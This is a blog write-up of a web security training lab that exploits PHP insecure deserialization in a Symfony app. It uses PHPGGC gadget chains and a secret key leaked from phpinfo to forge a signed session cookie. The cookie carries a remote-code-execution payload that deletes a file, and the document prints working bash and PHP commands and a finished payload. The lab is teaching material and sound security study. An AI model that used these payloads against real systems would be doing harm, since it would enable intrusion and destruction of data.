nima@home:~$

Lab: Exploiting PHP deserialization with a pre-built gadget chain



1


Lab: Exploiting PHP deserialization with a pre-built gadget chain


Lab Description



This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization2 using pre-built gadget chains.

To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos’s home directory.

You can log in to your own account using the following credentials: wiener:peter


Solutions



Solution 1: My Solution

It is recommended to use Linux or a Unix-based operating system for using pre-built gadget chain tools like PHPGGC for PHP or Ysoserial for Java because of powerful bash command tools that are already in your arsenal or can be downloaded easily. So let’s begin.

At first, let’s get more information by browsing lab pages, when we log in with wiener:peter credentials, we see a session cookie in Burp like this:

%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a2xvbHZkNmw4bDIwN2dzMHd1Zms4bGR2bXc1NGV2cCI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22e14415c3060a4b056821d84317015c0d8e63b648%22%7D

It is a URL-encoded string, which when decoded in Burp decoder we get this:

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a2xvbHZkNmw4bDIwN2dzMHd1Zms4bGR2bXc1NGV2cCI7fQ==","sig_hmac_sha1":"e14415c3060a4b056821d84317015c0d8e63b648"}

As you can see, it seems that the token part is signed with hmac_sha1 algorithm. Also the token part in this string is base64-encoded, when decoded it is:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vklolvd6l8l207gs0wufk8ldvmw54evp";}

It is a serialized PHP object. So we can test if there is any insecure deserialization vulnerability that we can exploit, Since it is a signed session cookie, if we want to edit this serialized object, we need the key for the hash algorithm to sign our payload value so we need to search for clues of the key used. When surfing lab pages, in the source of the website we can find this commented line:

<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->

so we use this link to open the phpinfo page, in this page we can find the secret key:

We test it to make sure this is the key that is used for signing the session cookie.

With this command you can sign a value:

echo -n "value" | openssl sha1 -hmac "key"

We can test this:

echo -n "Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a2xvbHZkNmw4bDIwN2dzMHd1Zms4bGR2bXc1NGV2cCI7fQ==" | openssl sha1 -hmac "g8ffja92adxkuz3681mg16suuoo3sbxd"

When we run this code we get this signed value: e14415c3060a4b056821d84317015c0d8e63b648 and check it with the “sig_hmac_sha1” value in the decoded session cookie above and we see the values are matched, So we can use this secret key to hash our own serialized payload.

Also in the /cgi-bin/phpinfo.php page above we can see that the website is using Zend Engine:

Please pay attention not to confuse Zend engine with Zend Framework so we need to find out more clues about what PHP framework is used so that we can create an appropriate payload for it.

When the session cookie is manipulated in Burp repeater, an error page is returned in response and we get our clue in the error description:

Internal Server Error: Symfony Version: 4.3.6

So the website is using Symfony framework for PHP. With all this information, we can create our final payload, we use PHPGGC tool to build our payload, first download this tool from its Github page3.

Use this command to find related payloads for Symfony framework:

./phpggc -l symfony

We get this list:

We start from the first RCE command in the list and test to see which one is working.

We use the secret key found in our bash command, This bash command is created to do multiple tasks and create a final payload:

command=$(./phpggc -f -b Symfony/RCE1 "rm /home/carlos/morale.txt");x=$( echo -n $command);y=$(echo -n $x | openssl sha1 -hmac "g8ffja92adxkuz3681mg16suuoo3sbxd" | cut -c 14-);urlencode '{"token":"'$x'","sig_hmac_sha1":"'$y'"}'

You can substitute your desired PHPGGC command in the above code and also your own secret key that you’ve found and get the resulting payload in the correct final format.

In the above command:

-n in echo command is to remove the trailing newline characters.

-b in phpggc is to base64 encode the gadget chain.

-f in phpggc is to fast destruct. Here is the description of this flag from PHPGGC Github page:

“PHPGGC implements a --fast-destruct (-f) flag, that will make sure your serialized object will be destroyed right after the unserialize() call, and not at the end of the script. I’d recommend using it for every __destruct vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the __destruct method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.”

So it is recommended to use this flag.

cut -c 14- command cuts the resulting string because the result of the signed value of openssl command is something like:

SHA1(stdin)= e14415c3060a4b056821d84317015c0d8e63b648

And we should begin at character 14 and remove the additional beginning characters of SHA1(stdin)=

So we get this final payload from the above command:

%7B%22token%22%3A%22YToyOntpOjc7Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6Mzp7czo2NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcQWJzdHJhY3RBZGFwdGVyAG1lcmdlQnlMaWZldGltZSI7czo5OiJwcm9jX29wZW4iO3M6NTg6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBuYW1lc3BhY2UiO2E6MDp7fXM6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO31pOjc7aTo3O30%3D%22%2C%22sig_hmac_sha1%22%3A%22e6496d1876437637e6aca6a408cc1b7281bec1fd%22%7D

We replace this string with the session cookie in Burp repeater and Carlos’s morale.txt file is deleted and the lab is solved!


Solution 2: Web Security Academy’s Solution

  1. Log in and send a request containing your session cookie to Burp Repeater. Highlight the cookie and look at the Inspector panel.

  2. Notice that the cookie contains a Base64-encoded token, signed with a SHA-1 HMAC hash.

  3. Copy the decoded cookie from the Inspector and paste it into Decoder.

  4. In Decoder, highlight the token and then select Decode as > Base64. Notice that the token is actually a serialized PHP object.

  5. In Burp Repeater, observe that if you try sending a request with a modified cookie, an exception is raised because the digital signature no longer matches. However, you should notice that:

  • A developer comment discloses the location of a debug file at /cgi-bin/phpinfo.php.
  • The error message reveals that the website is using the Symfony 4.3.6 framework.
  1. Request the /cgi-bin/phpinfo.php file in Burp Repeater and observe that it leaks some key information about the website, including the SECRET_KEY environment variable. Save this key; you’ll need it to sign your exploit later.

  2. Download the “PHPGGC” tool and execute the following command:

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64

This will generate a Base64-encoded serialized object that exploits an RCE gadget chain in Symfony to delete Carlos’s morale.txt file.

  1. You now need to construct a valid cookie containing this malicious object and sign it correctly using the secret key you obtained earlier. You can use the following PHP script to do this. Before running the script, you just need to make the following changes:
  • Assign the object you generated in PHPGGC to the $object variable.
  • Assign the secret key that you copied from the phpinfo.php file to the $secretKey variable.
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

This will output a valid, signed cookie to the console.

  1. In Burp Repeater, replace your session cookie with the malicious one you just created, then send the request to solve the lab.




References